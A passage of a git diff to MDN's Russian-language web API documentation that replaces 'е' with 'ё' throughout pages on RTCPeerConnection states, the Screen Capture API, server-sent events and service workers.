одного и того же транспортного протокола.</p> @@ -100,16 +100,16 @@ translation_of: Web/API/RTCPeerConnection <tr> <td><code>"balanced"</code></td> <td> - <p>Сбалансированный. Агент ICE изначально создает по одному объекту {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если удаленная конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.</p> + <p>Сбалансированный. Агент ICE изначально создаёт по одному объекту {{domxref ("RTCDtlsTransport")}} для каждого типа добавляемого контента: аудио, видео и каналов данных. Если удалённая конечная точка не опознает пакеты, то каждый из этих DTLS транспортов обрабатывает все коммуникации для одного типа данных.</p> </td> </tr> <tr> <td><code>"max-compat"</code></td> - <td>Максимально совместимый. Агент ICE изначально создает один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удаленная точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортах</td> + <td>Максимально совместимый. Агент ICE изначально создаёт один объект {{domxref ("RTCDtlsTransport")}} для каждой медиа-дорожки и отдельный для каналов данных. Если удалённая точка не поддерживает опознавание пакета, все согласовывается на этих отдельных DTLS транспортах</td> </tr> <tr> <td><code>"max-bundle"</code></td> - <td>Максимальный пакет. Агент ICE изначально создает только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удаленная точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.</td> + <td>Максимальный пакет. Агент ICE изначально создаёт только один объект {{domxref ("RTCDtlsTransport")}} для переноса всех данных RTCPeerConnection. Если удалённая точка не поддерживает опознавание пакета, то согласовывается только одна дорожка, а остальные игнорируются.</td> </tr> </tbody> </table> @@ -128,15 +128,15 @@ translation_of: Web/API/RTCPeerConnection <tbody> <tr> <td><code>"new"</code></td> - <td>ICE агент собирает адреса или ожидает получения удаленных кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу.</td> + <td>ICE агент собирает адреса или ожидает получения удалённых кандидатов от вызова метода {{domxref("RTCPeerConnection.addIceCandidate()")}}. Или все сразу.</td> </tr> <tr> <td><code>"checking"</code></td> - <td>ICE агент получил один или несколько удаленных кандидатов и проверяет парность локального и удаленного кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но еще не обнаружил пару, соответствующую устанавливаемому удаленному соединению.Не исключено, что сборка кандидатов продолжиться.</td> + <td>ICE агент получил один или несколько удалённых кандидатов и проверяет парность локального и удалённого кандидатов относительно друг друга, пытаясь обнаружить совместимости. Но ещё не обнаружил пару, соответствующую устанавливаемому удалённому соединению.Не исключено, что сборка кандидатов продолжиться.</td> </tr> <tr> <td><code>"connected"</code></td> - <td>Совместимая парность локального и удаленного кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости.</td> + <td>Совместимая парность локального и удалённого кандидатов найдена для всех компонентов соединения, и соединение было установлено. Не исключено продолжение сборки и проверки кандидатов в процессе соединения, для наилучший совместимости.</td> </tr> <tr> <td><code>"completed"</code></td> @@ -144,11 +144,11 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"failed"</code></td> - <td>Агент ICE проверил все пары кандидатов между собой и не нашел совместимых сопоставлений для всех компонентов соединения. Или не нашел совместимых соединений для некоторых компонентов. </td> + <td>Агент ICE проверил все пары кандидатов между собой и не нашёл совместимых сопоставлений для всех компонентов соединения. Или не нашёл совместимых соединений для некоторых компонентов. </td> </tr> <tr> <td><code>"disconnected"</code></td> - <td>Проверяет, что компоненты все еще подключены, хотя бы для одного объекта {{domxref("RTCPeerConnection")}}. Это менее строгий тест, чем <code>"failed"</code>, и он может периодически запускаться и разрешаться спонтанно в менее надежных сетях, или во время временного отключения. Когда проблема исчезнет, соединение может вернуться в состояние <code>"connected".</code> </td> + <td>Проверяет, что компоненты все ещё подключены, хотя бы для одного объекта {{domxref("RTCPeerConnection")}}. Это менее строгий тест, чем <code>"failed"</code>, и он может периодически запускаться и разрешаться спонтанно в менее надёжных сетях, или во время временного отключения. Когда проблема исчезнет, соединение может вернуться в состояние <code>"connected".</code> </td> </tr> <tr> <td><code>"closed"</code></td> @@ -171,7 +171,7 @@ translation_of: Web/API/RTCPeerConnection <tbody> <tr> <td><code>"new"</code></td> - <td>Соединение только что создано, и еще не имело сетевой активности.</td> + <td>Соединение только что создано, и ещё не имело сетевой активности.</td> </tr> <tr> <td><code>"gathering"</code></td> @@ -179,7 +179,7 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"complete"</code></td> - <td>Агент ICE завершил сборку кандидатов. Если произойдет, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение "<code>gathering</code>" и начнется пересборка кандидатов.</td> + <td>Агент ICE завершил сборку кандидатов. Если произойдёт, что-то (например, добавление нового ICE сервера), для чего потребуется новая сборка кандидатов, статус переключиться в значение "<code>gathering</code>" и начнётся пересборка кандидатов.</td> </tr> </tbody> </table> @@ -202,7 +202,7 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"public" </code>{{obsolete_inline}}</td> - <td>Будут рассматриваться ICE кандидаты, только имеющие публичные IP адреса. <em>Удален в спецификации от 13 мая 2016 (working draft).</em></td> + <td>Будут рассматриваться ICE кандидаты, только имеющие публичные IP адреса. <em>Удалён в спецификации от 13 мая 2016 (working draft).</em></td> </tr> <tr> <td><code>"relay"</code></td> @@ -233,11 +233,11 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"connected"</code></td> - <td>Соединен. Каждый объект ICE передачи, использующийся соединением либо используется (имеет статус <code>"connected"</code> или <code>"completed"</code>) , либо закрыт (имеет статус <code>"closed"</code>); кроме того, по крайней мере один объект передачи имеет статус либо <code>"connected"</code> , либо <code>"completed"</code>.</td> + <td>Соединён. Каждый объект ICE передачи, использующийся соединением либо используется (имеет статус <code>"connected"</code> или <code>"completed"</code>) , либо закрыт (имеет статус <code>"closed"</code>); кроме того, по крайней мере один объект передачи имеет статус либо <code>"connected"</code> , либо <code>"completed"</code>.</td> </tr> <tr> <td><code>"disconnected"</code></td> - <td>Разъединен. По меньшей мере один из объектов ICE передачи в соединении имеет статус <code>"disconnected"</code> и ни один из объекто передачи не находиться в статусе : <code>"failed"</code>, <code>"connecting"</code>, или <code>"checking"</code>.</td> + <td>Разъединён. По меньшей мере один из объектов ICE передачи в соединении имеет статус <code>"disconnected"</code> и ни один из объекто передачи не находиться в статусе : <code>"failed"</code>, <code>"connecting"</code>, или <code>"checking"</code>.</td> </tr> <tr> <td><code>"failed"</code></td> @@ -301,15 +301,15 @@ translation_of: Web/API/RTCPeerConnection </tr> <tr> <td><code>"have-remote-offer"</code></td> - <td>Имеет удаленное предложение. Удаленный пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td> + <td>Имеет удалённое предложение. Удалённый пир создал предложение, использовал сервер сигнализации для передачи этого предложения локальному пользователю, которое было установлено им в параметр, через вызов метода {{domxref("RTCPeerConnection.setRemoteDescription()")}}.</td> </tr> <tr> <td><code>"have-local-pranswer"</code></td> - <td>Имеет локальный предварительный ответ. Предложение удаленного пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включенных в него полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно.</td> + <td>Имеет локальный предварительный ответ. Предложение удалённого пира было применено, и ответ был создан (обычно, через вызов метода {{domxref("RTCPeerConnection.createAnswer()")}}) и использовано в параметре метода установки локального дескриптора {{domxref("RTCPeerConnection.setLocalDescription()")}}. Этот предварительный ответ описывает поддерживаемые медиа форматы и тому подобное. Но он не имееет включённых в него полного набора ICE кандидатов. Позже, дополнительные кандидаты будут доставлены отдельно.</td> </tr> <tr> <td><code>"have-remote-pranswer"</code></td> - <td>Имеет предварительный удаленный ответ. Предварительный удаленный ответ был получен и успешно применен в ответ на предложение, отправленное ранее и установленное методом <code>setLocalDescription()</code>.</td> + <td>Имеет предварительный удалённый ответ. Предварительный удалённый ответ был получен и успешно применён в ответ на предложение, отправленное ранее и установленное методом <code>setLocalDescription()</code>.</td> </tr> <tr> <td><code>"closed"</code> {{obsolete_inline}}</td> diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html index 072496379e..25eaa93c7f 100644 --- a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/RTCPeerConnection --- <div>{{APIRef("WebRTC")}}</div> -<p><span class="seoSummary">Конструктор <strong><code>RTCPeerConnection()</code></strong> возвращает новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удаленным пиром (участником соединения)</span></p> +<p><span class="seoSummary">Конструктор <strong><code>RTCPeerConnection()</code></strong> возвращает новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удалённым пиром (участником соединения)</span></p> <h2 id="Синтаксис">Синтаксис</h2> diff --git a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html index d9d89652c2..7677339be1 100644 --- a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html +++ b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html @@ -8,7 +8,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture <p><span class="seoSummary">В этой статье изучается использование программного интерфейса Screen Capture и его метода {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} для захвата потока экрана (всего или его части), его записи или передачи через сессию <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> .</span></p> <div class="blockIndicator note"> -<p><strong>Примечание :</strong> Полезно отметить, что последние версии библиотеки <a href="https://github.com/webrtcHacks/adapter">WebRTC adapter.js</a> включают реализацию метода <code>getDisplayMedia()</code> для обмена изображениями с экрана на браузерах, которые его поддерживают, но еще не реализуют текущий стандартный интерфейс, который реализован в последних версиях Chrome, Edge, и Firefox.</p> +<p><strong>Примечание :</strong> Полезно отметить, что последние версии библиотеки <a href="https://github.com/webrtcHacks/adapter">WebRTC adapter.js</a> включают реализацию метода <code>getDisplayMedia()</code> для обмена изображениями с экрана на браузерах, которые его поддерживают, но ещё не реализуют текущий стандартный интерфейс, который реализован в последних версиях Chrome, Edge, и Firefox.</p> </div> <h2 id="Захват_содержимого_экрана">Захват содержимого экрана</h2> @@ -41,7 +41,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture .catch(err => { console.error("Error:" + err); return null; }); }</pre> -<p>В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции <code>startCapture()</code> возвращают объект типа {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съемку ?).</p> +<p>В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции <code>startCapture()</code> возвращают объект типа {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съёмку ?).</p> <p>Смотрим {{anch("Options and constraints")}}, ниже, подробнее о том, как указать желаемый тип поверхности, а также о других способах настройки результирующего потока.</p> @@ -55,13 +55,13 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture <h3 id="Видимые_или_логические_поверхности_отображения">Видимые или логические поверхности отображения</h3> -<p>Для целей интерфейса Screen Capture API, <strong>поверхность отображения </strong>- это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединенные в одну поверхность, и монитор (или группу мониторов, объединенных в одну поверхность).</p> +<p>Для целей интерфейса Screen Capture API, <strong>поверхность отображения </strong>- это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединённые в одну поверхность, и монитор (или группу мониторов, объединённых в одну поверхность).</p> <p>Есть два типа поверхности дисплея. <strong>Видимая поверхность отображения </strong>- это поверхность, которая полностью видна на экране, например, переднее окно или вкладка или весь экран.</p> <p><strong>Логическая поверхность отображения</strong> - это поверхность, которая частично или полностью скрыта, либо в некоторой степени перекрывается другим объектом, либо полностью скрытая или находиться вне экрана. Эти поверхности обрабатываются по другому. Как правило, браузер предоставляет изображение, которое каким-то образом скрывает скрытую часть поверхности логического дисплея, например размытие или замена цветом или рисунком. Это сделано из соображений безопасности, поскольку контент, который не может быть просмотрен пользователем, может содержать данные, которыми они не хотят делиться.</p> -<p>Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушеванный контент, либо путем получения текущего содержимого скрытой части окна, либо путем предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.</p> +<p>Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушёванный контент, либо путём получения текущего содержимого скрытой части окна, либо путём предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.</p> <h3 id="Свойства_и_ограничения">Свойства и ограничения</h3> @@ -96,7 +96,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture <p>К примеру, если определить ограничение {{domxref("MediaTrackConstraints.width", "width")}} для видео, оно применится как масштабирование видео, после того, как пользователь выберет область, и не устанавливает ограничение на размер самого источника.</p> <div class="blockIndicator note"> -<p><strong>Примечание :</strong> Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определенным контентом, ограничивая исходный список, пока не останется только один элемент.</p> +<p><strong>Примечание :</strong> Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определённым контентом, ограничивая исходный список, пока не останется только один элемент.</p> </div> <p>В процессе захвата экрана машина, которая обменивается содержимым экрана, будет отображать какую-то форму индикатора, чтобы пользователь знал, что обмен находиться в процессе.</p> @@ -111,7 +111,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture <p>До запуска скрипта, который будет запрашивать возможность обмена аудио, проверьте реализацию {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} , для понимания браузерной совместимости с функциональностью захвата аудио в поток захвата экрана.</p> -<p>Чтобы запросить доступ к экрану с включенным звуком, параметры ниже передаются в метод <code>getDisplayMedia()</code>:</p> +<p>Чтобы запросить доступ к экрану с включённым звуком, параметры ниже передаются в метод <code>getDisplayMedia()</code>:</p> <pre class="brush: js">const gdmOptions = { video: true, @@ -119,7 +119,7 @@ translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture } </pre> -<p>Это дает пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства <code>audio</code> и <code>video</code>:</p> +<p>Это даёт пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства <code>audio</code> и <code>video</code>:</p> <pre class="brush: js">const gdmOptions = { video: { diff --git a/files/ru/web/api/selection/tostring/index.html b/files/ru/web/api/selection/tostring/index.html index 63899ce9d7..0e1dede357 100644 --- a/files/ru/web/api/selection/tostring/index.html +++ b/files/ru/web/api/selection/tostring/index.html @@ -30,7 +30,7 @@ translation_of: Web/API/Selection/toString <p>Этот метод возвращает выделенный текст.</p> -<p>В <a href="en/JavaScript">JavaScript</a>, этот метод вызывается автоматически, когда функция, которой он передается, требует строку:</p> +<p>В <a href="en/JavaScript">JavaScript</a>, этот метод вызывается автоматически, когда функция, которой он передаётся, требует строку:</p> <pre class="brush: js">alert(window.getSelection()) // What is called alert(window.getSelection().toString()) // What is actually being effectively called. diff --git a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html index 0bc2834743..bee580418a 100644 --- a/files/ru/web/api/server-sent_events/using_server-sent_events/index.html +++ b/files/ru/web/api/server-sent_events/using_server-sent_events/index.html @@ -11,11 +11,11 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events <h2 id="Получение_событий_от_сервера">Получение событий от сервера</h2> -<p>Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект <code>EventSource</code>, который будет указывать на URI скрипта, который создает события. Например:</p> +<p>Server-Sent Event API содержится внутри интерфейса {{domxref("EventSource")}}. Чтобы открыть соединение с сервером для начала записи событий, которые он присылает, необходимо создать новый объект <code>EventSource</code>, который будет указывать на URI скрипта, который создаёт события. Например:</p> <pre class="brush: js">const evtSource = new EventSource("ssedemo.php");</pre> -<p>Если файл с генератором событий размещен на другом домене, то должен быть создан новый объект <code>EventSource</code> в который следует передать помимо URI еще и словарь опций. Например, если предположить, что клиентский скрипт находится на <code>example.com</code>:</p> +<p>Если файл с генератором событий размещён на другом домене, то должен быть создан новый объект <code>EventSource</code> в который следует передать помимо URI ещё и словарь опций. Например, если предположить, что клиентский скрипт находится на <code>example.com</code>:</p> <pre class="brush: js"><code>const evtSource = new EventSource("//api.example.com/ssedemo.php", { withCredentials: true } ); </code> </pre> @@ -49,7 +49,7 @@ translation_of: Web/API/Server-sent_events/Using_server-sent_events <p>Код на стороне сервера, который отправляет события, должен отвечать, используя MIME-тип <code>text/event-stream</code>. Каждое уведомление отправляется в виде блока текста, оканчивающегося парой новых строк (<code>\n</code>) . Подробнее о формате потока событий см. {{ anch("Event stream format") }}.</p> -<p>{{Glossary("PHP")}} код, который мы используем для примера приведен ниже:</p> +<p>{{Glossary("PHP")}} код, который мы используем для примера приведён ниже:</p> <pre class="brush: php">date_default_timezone_set("America/New_York"); header('Cache-Control: no-cache'); @@ -79,7 +79,7 @@ while (1) { } </pre> -<p>Приведенный выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа <code>event</code>).</p> +<p>Приведённый выше код генерирует событие каждую секунду с типом события «ping». Данные каждого события - это объект JSON, содержащий метку времени ISO 8601, соответствующую дате, когда было сгенерировано событие. Через случайные интервалы отправляется простое сообщение (без типа <code>event</code>).</p> <div class="note"> <p><strong>Примечание</strong>: Вы можете найти полный пример, который использует код, показанный в этой статье на GitHub - см. <a href="https://github.com/mdn/dom-examples/tree/master/server-sent-events">Simple SSE demo using PHP.</a></p> @@ -106,7 +106,7 @@ while (1) { <div class="note"><strong>Примечание:</strong> Строка комментария может использоваться, чтобы предотвратить тайм-аут соединений; сервер может периодически отправлять комментарий, чтобы поддерживать соединение.</div> -<p>Каждое сообщение содержит одну или более строчек текста, которые перечисляют поля этого сообщения. Каждое имеет свое имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. </p> +<p>Каждое сообщение содержит одну или более строчек текста, которые перечисляют поля этого сообщения. Каждое имеет своё имя, за которым следует двоеточие, после которого идут текстовые данные для значения этого поля. </p> <h3 id="Поля">Поля</h3> diff --git a/files/ru/web/api/service_worker_api/index.html b/files/ru/web/api/service_worker_api/index.html index 7d52ed2334..f7b0bbb1cd 100644 --- a/files/ru/web/api/service_worker_api/index.html +++ b/files/ru/web/api/service_worker_api/index.html @@ -21,7 +21,7 @@ translation_of: Web/API/Service_Worker_API <h2 id="Концепция_и_использование_Service_Worker">Концепция и использование Service Worker</h2> -<p>Service worker — это событийно-управляемый <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a>, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведет себя в определенных ситуациях (например, когда сеть не доступна).</p> +<p>Service worker — это событийно-управляемый <a href="https://developer.mozilla.org/en-US/docs/Web/API/Worker">worker</a>, регистрируемый на уровне источника и пути. Он представляет собой JavaScript-файл, который может контролировать веб-страницу/сайт, с которым он ассоциируется, перехватывать и модифицировать запросы навигации и ресурсов, очень гибко кешировать ресурсы, для того чтобы предоставить вам полный контроль над тем, как приложение ведёт себя в определённых ситуациях (например, когда сеть не доступна).</p> <p>Service worker запускается в контексте воркеров, поэтому он не имеет доступа к DOM и работает в потоке отдельном от основного потока JavaScript, управляющего вашим приложением, а следовательно — не блокирует его. Он призван быть полностью асинхронным; как следствие, синхронные API, такие как <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a>, в Service Worker'е использовать нельзя.</p> @@ -55,7 +55,7 @@ translation_of: Web/API/Service_Worker_API <p>Установка производится в случае если загружаемый файл признается новым — либо отличным от уже установленного service worker (определяется через побайтовое сравнение), либо первым устанавливаемым service воркером для этой страницы/сайта.</p> -<p>Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного ее завершения — активация.</p> +<p>Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного её завершения — активация.</p> <p>Если service worker уже существует, новая версия устанавливается в фоновом режиме, но не активируется — worker переходит в состояние <em>в ожидании</em>. Новая версия активируется только тогда, когда больше не останется загруженных страниц, использующих старый service worker. Как только это случится, новый service worker активируется (станет <em>активным воркером</em>). Активация может произойти раньше при использовании {{domxref ("ServiceWorkerGlobalScope.skipWaiting()")}}, а существующие страницы могут быть переведены под контроль активного воркера с помощью {{domxref ("Clients.claim()")}}.</p> @@ -63,7 +63,7 @@ translation_of: Web/API/Service_Worker_API <p>Есть также событие <code>activate</code>. Момент, когда это событие наступает, является удачным для очистки старого кеша и всего, что ассоциировалось с предыдущей версией вашего service worker'а.</p> -<p>Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на свое усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.</p> +<p>Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на своё усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.</p> <div class="note"> <p><strong>Заметка</strong>: Так как выполнение <code>oninstall</code>/<code>onactivate</code> может занять время, спецификация service worker предоставляет метод <code>waitUntil</code>, который возвращает промис, когда вызывается <code>oninstall</code> или <code>onactivate</code>. Функциональные события не отправляются service worker, пока промис не завершится успешно.</p> @@ -78,7 +78,7 @@ translation_of: Web/API/Service_Worker_API <ul> <li>Фоновая синхронизация данных</li> <li>Ответ на запросы от других источников</li> - <li>Получение централизованного обновления для данных использующих тяжелые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные</li> + <li>Получение централизованного обновления для данных использующих тяжёлые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные</li> <li>Компиляция и управление зависимостями на клиентской стороне для CoffeeScript, less, CJS/AMD модулей и т.д. для целей разработки</li> <li>Подписка на фоновые сервисы</li> <li>Кастомная шаблонизация, основанная на определённых паттернах URL</li> @@ -90,7 +90,7 @@ translation_of: Web/API/Service_Worker_API <ul> <li><a href="https://github.com/slightlyoff/BackgroundSync">Фоновой синхронизации</a>: запускать service worker даже когда ни одного пользователя нет на сайте, чтобы обновить кеш.</li> <li><a href="/en-US/docs/Web/API/Push_API">Реакции на пуш-сообщения</a>: запускать service worker для отправки сообщений пользователям, чтобы оповестить их о новом доступном контенте.</li> - <li>Реакции на определенное время и дату</li> + <li>Реакции на определённое время и дату</li> <li>Введение гео-ограничений</li> </ul> @@ -100,7 +100,7 @@ translation_of: Web/API/Service_Worker_API <dt>{{domxref("Cache") }}</dt> <dd>Представляет хранилище для объектов {{domxref("Request")}} / {{domxref("Response")}}, которые кешируются, как часть жизненного цикла {{domxref("ServiceWorker")}}.</dd> <dt>{{domxref("CacheStorage") }}</dt> - <dd>Представляет хранилище для объектов {{domxref("Cache")}}. Он создает главную директорию для всех именованных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имен соответствующего объекта {{domxref("Cache")}}.</dd> + <dd>Представляет хранилище для объектов {{domxref("Cache")}}. Он создаёт главную директорию для всех именованных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имён соответствующего объекта {{domxref("Cache")}}.</dd> <dt>{{domxref("Client") }}</dt> <dd>Представляет область видимости клиента service worker. Это либо документ в контексте браузера, либо {{domxref("SharedWorker")}}, который контролируется активным воркером.</dd> <dt>{{domxref("Clients") }}</dt> diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html index bab45149a6..4fc2235590 100644 --- a/files/ru/web/api/service_worker_api/using_service_workers/index.html +++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html @@ -83,7 +83,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers <p>В первом примере код, идущий за вызовом функции <code>myFunction()</code>, будет ждать завершения вызова и возврата значения. Во втором примере <code>myFunction()</code> возвращает промис для <code>value</code>, в этом случае, последующий код сможет выполняться, не дожидаясь завершения основной работы функции. Когда промис разрешится, код, переданный методу <code>then</code>, будет выполнен асинхронно.</p> -<p>А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать <code>.onload</code>, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнем их слушать? Мы могли бы использовать <code>.complete</code>, но оно все еще ненадежно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.</p> +<p>А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать <code>.onload</code>, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнём их слушать? Мы могли бы использовать <code>.complete</code>, но оно все ещё ненадёжно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.</p> <p>Вместо этого мы можем написать собственный промис для работы с подобными случаями. (Вы можете найти исходный код в нашем примере <a href="https://github.com/mdn/promises-test">Promises test</a> или взглянуть на <a href="https://mdn.github.io/promises-test/">живое демо</a>.)</p> @@ -111,9 +111,9 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers }); }</pre> -<p>Мы возвращаем новый промис, созданный конструктором <code>Promise()</code>, который в качестве аргумента принимает функцию с параметрами <code>resolve</code> и <code>reject</code>. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешен или отклонен, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны <code>resolve</code> в случае успеха или <code>reject</code> при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.</p> +<p>Мы возвращаем новый промис, созданный конструктором <code>Promise()</code>, который в качестве аргумента принимает функцию с параметрами <code>resolve</code> и <code>reject</code>. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешён или отклонён, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны <code>resolve</code> в случае успеха или <code>reject</code> при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.</p> -<p>Вызывая функцию <code>imgLoad()</code>, мы ожидаемо передаем в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:</p> +<p>Вызывая функцию <code>imgLoad()</code>, мы ожидаемо передаём в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:</p> <pre class="brush: js notranslate">let body = document.querySelector('body'); let myImage = new Image(); @@ -126,7 +126,7 @@ imgLoad('myLittleVader.jpg').then((response) => { console.log(Error); });</pre> -<p>После вызова функции мы "цепляем" к ней вызов промис-метода <code>then()</code>, которому в качестве параметров передаем две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции <code>imgLoad()</code>, вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе <code>myImage</code>, который прикрепляем к body (аргументом является <code>request.response</code>, помещенный в промис-методе <code>resolve</code>); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.</p> +<p>После вызова функции мы "цепляем" к ней вызов промис-метода <code>then()</code>, которому в качестве параметров передаём две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции <code>imgLoad()</code>, вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе <code>myImage</code>, который прикрепляем к body (аргументом является <code>request.response</code>, помещённый в промис-методе <code>resolve</code>); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.</p> <p>Все это происходит асинхронно.</p> @@ -141,14 +141,14 @@ imgLoad('myLittleVader.jpg').then((response) => { <h2 id="Демонстрация_Service_Workers">Демонстрация Service Workers</h2> -<p>Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое <a href="https://github.com/mdn/sw-test">sw-test</a>. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и 